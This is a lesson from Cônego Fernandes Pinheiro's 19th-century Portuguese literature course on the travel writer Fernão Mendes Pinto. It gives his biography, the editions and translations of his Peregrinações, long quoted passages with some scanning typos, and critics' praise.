FERNÃO MENDES PINTO e as viagens portuguesas para a Ásia nos XVI

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Cônego Fernandes Pinheiro (1825 – 1876)

CURSO DE LITERATURA NACIONAL

LIÇÃO XVII

viagens

São de certo as viagens uma das mais agradáveis maneiras de instruir deleitando. Conhecer os usos e costumes dos diversos povos sem correr os perigos inseparáveis das peregrinações, deve ser o ãesideratum dos espíritos curiosos, e ávidos da verdadeira e sólida instrução. Raro porém, é o viajante, que, fielmente compenetrado de sua missão, não troque o foro de historiador pelo de romancista, sacrificando a verdade nas aras da ficção, como que para indenizar-se dos azares por que passara, e das decepções que experimentara. A mesma dificuldade porém de encontrar-se um verídico guia da nossa curiosidade faz com que mais apreciado seja ele, constituindo o seu livro a mais agradável e profícua leitura que se nos possa deparar.

Dentre os numerosos viajantes que enriqueceram a literatura portuguesa no período de que ora nos ocupamos, faremos seleção de um que se avantaja não só pela beleza do seu estilo, como pela sinceridade e modéstia que de contínuo guiam a sua pena.

FERNÃO MENDES PINTO

Nasceu na vila de Monte-mor, o velho, província da Beira, no ano de 1509, de pais pobres e obscuros, como se depreende de sua própria confissão quando se refere em sua obra à miséria e estreiteza da pobre casa de seu pai. Chegando a Lisboa na tenra idade de dez anos em companhia de um tio seu, entrou para o serviço de D. Jorge, duque de Coimbra, e filho natural de el-rei D. João II, na qualidade de moço da câmara. Aborrecendo-se da domeaticidade, resolveu tentar fortuna na índia embarcando-se para aí no ano de 1537. Após longas e perigosas viagens tencionava voltar à pátria de posse de mediano pecúlio, quando passando por Goa em 1554 tomou o súbito partido de alistar-se nas fileiras da Companhia de Jesus, doando-lhe toda a sua fazenda. Acompanhou o P. Belchior Nunes na sua viagem ao Japão e serviu de embaixador do vice-rei D. Afonso de Noronha junto ao rei de Bungo. Notável é o silêncio que guarda em suas Peregrinações sobre a circunstância de ter sido noviço dos Jesuítas, circunstância porém que não pode ser posta em dúvida à vista da expressa menção que dela faz o P. Francisco de Souza em seu Oriente conquistado. Ignoram-se quais foram os motivos que o fizeram deixar a Companhia antes de haver professado, regressando a Lisboa no ano de 1558, rico de esperanças e pobre de dinheiro. Nenhuma remuneração havendo obtido pelos seus serviços, retirou-se no fim de quatro anos e meio de inúteis diligências à vila de Almada, onde casou e teve filhos. Afirma o já referido P. Francisco de Souza, em seu Ano Histórico, que falecera Fernão Mendes Pinto no dia 8 de julho de 1583: não obstante, supõe-se que este fato ocorrera no ano de 1580.

Nada menos de seis edições têm tido as suas Peregrinações, sendo a primeira a de 1614 feita em Lisboa à custa de Belchior de Faria, in-jolio de 303 folhas numeradas só na frente. A segunda, inferior à primeira, pelas alterações e cortes que lhe fizeram, tem a data de 1678 e saiu das oficinas de Antônio Craesbeek. Foi a terceira igualmente publicada em Lisboa por José Lopes Ferreira no ano de 1711, acrescentada com a Relação ou Breve Discurso da Conquista do Pegu pelos Portugueses, que corria em separado, e foi vertida do castelhano em que a escrevera Fernão Mendes. A quarta e quinta edições que apareceram nos anos de 1725 e 1762 nenhum melhoramento tiveram. A sexta e última, que veio à luz em 1829 em quatro tomos em oitavo, foi devida aos cuidados de D. Antônio José Ferreira de Souza, arcebispo de Lacedemônia, e estimabilíssimo filólogo. Diligentemente feita sobre o texto da primeira edição, e expurgada dos grosseiros erros que afeiavam as anteriores, torna-se esta recomendável aos amadores da literatura portuguesa.

Diferentes traduções nos idiomas mais cultos da Europa honraram as Peregrinações de Fernão Mendes Pinto, e assevera o Sr. Inccêncio Francisco da Silva, em seu precioso Dicionário Bibliográfico Português, que nas línguas espanhola, francesa, alemã e inglesa existe trasladada esta obra.

Escolhamos em tão precioso livro as passagens que mais dignas nos parecem de honrosa menção, e que melhor justificam a nomeada que soube granjear o seu autor.

Do talento descritivo, indispensável às narrações de viagens, muitos exemplos poderíamos citar, contentando-nos com a viva pintura de um tribunal judiciário a que teve de responder na China. Ei-la:

e abrindo-se estas portas toda a gente entrou de roldão em uma grande casa de forma de igreja, pintada toda de alto a baixo de diversas pinturas, e estranhos modos de justiças, que algozes de gestos medonhos e espantosos faziam em todo o gênero de gente; com letreiro ao pé de cada uma das pinturas que diziam: Por este tal caso se dá este tal gênero de morte, de maneira que na diversidade destas horrendas pinturas em que se punham os olhos se declarava o gênero de morte que se devia a cada gênero de culpa, e o grandíssimo rigor de justiça com que as ordenavam estas tais mortes. Na frontaria desta casa atravessava outra como cruzeiro muito mais rica e de maior custo, toda cosida em ouro, em cuja vista os olhos se puderam ocupar com muito gosto, se o nós então pudéramos ter de alguma cousa. No meio desta casa estava uma tribuna de sete degraus fechada em roda com três ordens de grades de ferro e latão, pau preto com troços marchetados de madrepérola e por cima um dossel de damasco franjado de ouro e verde, com umas rendas muito largas do mesmo, debaixo da qual estava o Chaem com grande aparato e majestade, sentado numa rica cadeira de prata, e uma mesa pequena diante de si, com três meninos ao redor sentados de joelhos ricamente vestidos, e com cadeas de ouro aos pescoços, um dos quais que estava no meio, servia de dar a perla ao Chaem com que assinava, e os dois dos cabos tomavam as petições aos requerentes, e as apresentavam na mesa para se lhes dar despacho. A mão direita em outro lugar mais alto, quase igual com Chaem, estava um moço pequeno, que parecia de dez ou doze anos, vestido de cetim branco coberto de rosas de ouro, e ao pescoço um rico fio de pérolas, que lhe dava três voltas, e os cabelos muito compridos como mulher, trançados como uma fita de ouro e carmesim, com sua guarnição de pérolas de grande preço, e nos pés umas alparcas de ouro e verde guarnecidas por cima de aljôfar grosso e na mão por divisa e demonstração do que representava tinha um ramo pequeno de rosas de seda e fio de ouro, em partes pérolas muito ricas e ele tão gentil homem e bem assombrado que qualquer mulher po formosa que fora, lhe não pudera levar vantagem. Este moço tinha o cotovelo encostado na cadeira do Chaem, onde parecia que descan-çava o braço da mão em que tinha a insígnia, e este representava a misericórdia; à mão esquerda pelo mesmo modo estava outro menino também muito fermoso e riquissimamente vestido de umas vestiduras de cetim carmesim com rosas de ouro espalhadas por elas, o qual tinha o braço direito arregaçado e tinto de vermelhão, que parecia como sangue, e na mão direita tinha um rico treçado nu, também tinto do mesmo vermelhão, e na cabeça uma coroa, a modo de mitra, guarnecida toda de navalhinhas como lancetas de sangrar, o qual ainda que em tudo se via muito rico e bem assombrado, todavia estava assaz temeroso pela insígnia de que estava acompanhado, e este representava a justiça; porque dizem eles que o julgador que está em pessoa do Rei, o qual representava a Deus na terra, lhe é necessário ter estas duas partes de justiça e misericórdia; e o que não usa de ambas vem a ser tirano, sem lei, e usurpador da insígnia que traz na mão…

Sirva de exemplo de uma elegante narração o seguinte trecho em que refere a sua partida de Dio para o estreito de Meca:

Havendo dezessete dias que eu era chegado a esta fortaleza de Dio, fazendo-se nela prestes duas fustas para irem ao Estreito de Meca a saberem a certeza da Armada dos Turcos, de que já na índia havia algum receio, me embarquei em uma delas, de que ia por Capitão um meu amigo, por me ele fazer grandes encarecimentos de sua amizade naquela viagem fazendo-me muito fácil sair eu dela mu to rico em pouco tempo, que era o que eu então mais pretendia. Confiado eu nesta promessa e enganado desta esperança sem pôr diante dos olhos quão caro muitas vezes isto custa, e quão arriscada eu então levava a vida, assi por ser fora de tempo, como pelo que depois sucedeu por pecados meus, e de todos que nela fomos, me embarquei com este amigo em uma fusta, chamada Silveira. Partidas estas duas fustas da fortaleza de Dio, e navegando juntas em conserva com o tempo assaz forte na despedida do Inverno, com grandes chuveiros e contra a monção, houvemos vista das ilhas de Curia, Musia e Abe-dalcuria, nas quais estivemos perdidos sem nenhuma esperança de vida, e tornando-nos (por não haver outro remédio) na volta de Sudoeste prouve a nosso Senhor, que ferramos a ponta da ilha de Saçotará, uma légua abaixo donde esteve a nossa Fortaleza, que D Francisco d’Almeida, primeiro Viso-Rei, da índia, fez quando no ano de 1507 foi deste Reino; e ali fizemos a nossa aguada, e houvemos algum refresco, que por nosso resgate compramos aos Cristãos da terra, que descendem daqueles que antigamente o Apóstolo S. Tomé converteu nas partes da índia e do Coromandel…

Modelo do estilo temperado é a modesta e ingênua exposição que faz Fernão Mendes dos últimos tempos que passou na índia e do seu regresso ao reino:

Velejando nós deste porto do Xeque por nossa derrota com ventos nortes de monção tendente, chegamos a Lampacau aos quatro de dezembro, onde achamos seis naus portuguesas, de que era Capitão-Mor um mercador, que se chamava Franc sco Martins, feitura de Francisco Barreto, que então governava o Estado da índia por sucessão de D. Pedro de Mascarenhas, e porque já a este tempo a monção da índia era quase gastada não fez aqui o nosso Capitão D. Francisco de

Mascarenhas mais detença que enquanto se proveu de mantimentos pura a viagem. Deste porto de Lampracau part mos a primeira oitava de Natal, e chegamos a Goa a dezessete de fevereiro, onde dei conta a Francisco Barreto da carta que lhe trazia do Rei do Japão, e ele me mandou que lhe levasse ao outro dia, e eu lha levei com armas e terçados, e com as mais peças do presente que levava. E ele depois que esteve vendo tudo muito devagar me disse: Certifico-vos em toda a verdade que tanto prezo estas armas e peças que agora me trouxestes, como o próprio governo da índia, porque com elas e com esta carta d’El-rei do Japão espero agradar tanto a El-Rei, nosso Senhor, que, depois de Deus, elas me livrem do castelo de Lisboa, aonde os mais dos que governamos este Estado viemos desembarcar por nossos pecados. E em satisfação deste trabalho e dos gastos que tinha feito da nrnha fazenda, me fez muitos oferecimentos, que eu por então não lhe quis aceitar, mas justifiquei perante e”e por Instrumentos e testemunhas de vista quantas vezes por serviço d’El-Rei nosso Serh^r, eu 1’ora cativo e minha fazenda roubada, parecendo-me que isto só bastaria para que nesta minha pátria se me não negasse o que por meus serviços eu cuidei que me era devido. Ele me mandou passar lnstrumento de todas estas cousas, e ajuntou a ele as mais Certidões, que lhe apresentei, e me deu uma carta para Sua Aiteza com que me fez tão chão sobejar-me cá a satisfação destes serviços, que confiado eu nestas esperanças, na razão tão clara, que eu então cu;dava que tinha por minha parte, me embarquei para es‘e Reino tão contente e tão ufano com os papéis que traz’a, que tinha para mim que aquele era o me’hor cabedal que trazia de meu, porque estava persuadido que me não tardara mais mercê que enquanto a não requeresse. Prouve a nosso Senhor que cheguei a salvamento a Cidade de Lisboa aos vinte e do’s de setembro de 1558, governando então este Reino a Rainha D. Catarina, nossa Senhora, que tanta glória haja, a quem dei a carta que lhe trazia do Governrdor da índia o lhe relatei por palavras tudo o que me pareceu que fazia ao bem do meu negócio. Ela me remeteu ao Oficial que então tinha o cargo de tratar destes negócos, o qual com boas palavras e melhores esperanças, que eu então fnha por muito certas, pe’o que ele me dizia, me teve os tristes papé:s quatro anos e meio. no fim dos quais não tirei outro fruto senão os trabalhos e pesares que passei no requerimento, que não sei se diga que me foram mais pesados que quantos passei no decurso do tempo atrás. E vendo eu quão pouco me fundiam assi os trabalhos e serviços passados, como o requerimento presente, determinei de meu recoher com essa miséria que trouxera com go, adqu rida por meo de muitos trabalhos e infortúnios, que era o resto do que tinha gastado em serviço deste Reno. e dexar o feito a Justiça Divina, o qual logo pus em-obra, pesando-me ainda porque o não fizera mais cedo, porque se assi o fizera, talvez que poupara nisso um pedaço de fazenda. E nisto vieram a parar os meus serviços de vinte e um anos, nos qua s fui treze vezes cativo, dezesseis vend.do por causa dos desaventurados sucessos que atrás no d.scurso desta minha tão longa peregrinação largamente deixo contados…

Com estas e outras nobres e singelas expressões põe Fernão Mendes termo ao seu interessantíssimo livro, de cuja leitura proveitosas lições se podem colher.

Notam os críticos alguns solecismos nestas Peregrinações, e certos modos de falar por demais vulgares; cumpre porém não esquecer que baldo de estudos era o seu autor e que só em seu próprio engenho encontrara o cabedal com que opu-lentou a nossa literatura. Devemos ser indulgente para com o desditoso peregrino, prodígio de talento e firmeza de vontade que, com honra, levou o nome português a inóspitas regiões.

Estranhos e naturais escritores hão tecido a Fernão Mendes Pinto os maiores encómios. Em sua preciosa Coleção de Viagens, assim se exprime o ilustre La Harpe:

É uma relação do maior interesse pela singularidade dos acontecimentos e pelo curioso dos lances. Nas aventuras de Pinto acharão os leitores com que interessar a sua sensibilidade e imaginação.

Não menos propício é o juízo que a seu respeito formava o distinto literato D. F. Francisco de S. Luiz, quando no seu índice cronológico escrevia estas palavras:

A multiplicidade e singularidade das aventuras que este escritor refere, a estranheza dos povos e nações que viu, e dos seus ritos, costumes, opin ões e linguagens, ou incômodos e riscos que correu, e de que escapou são e salvo, fizeram com que alguns escritores desconfiassem da veracidade de suas relações. Hoje porém está mais desvanecida esta desconfiança, e as indagações dos mais ousados viajantes modernos têm verificado muitos dos fatos que ao princípio pareciam mais estranhos e duvidosos.

“Onde foi o seu imenso gênio buscar aquelas galas de linguagem (diz o Sr. J. F. de Castilho), aquele inesgotável de frases, aquela propriedade de expressões, aquele brilho de formas, aquele inesgotável de frases, aquela harmonia nos sons aquela variedade na dicção, aquela opulência no estilo?! Foi no seu próprio gênio que o seu gênio achou! Foi discípulo de si mesmo, mestre de si mesmo! Pois que o que Camões fazia para a linguagem do verso pelo mesmo tempo alcançava Pinto para a linguagem da prosa.” 1

1 Livraria clássica, T. XVI.

Fonte: editora Cátedra – MEC – 1978

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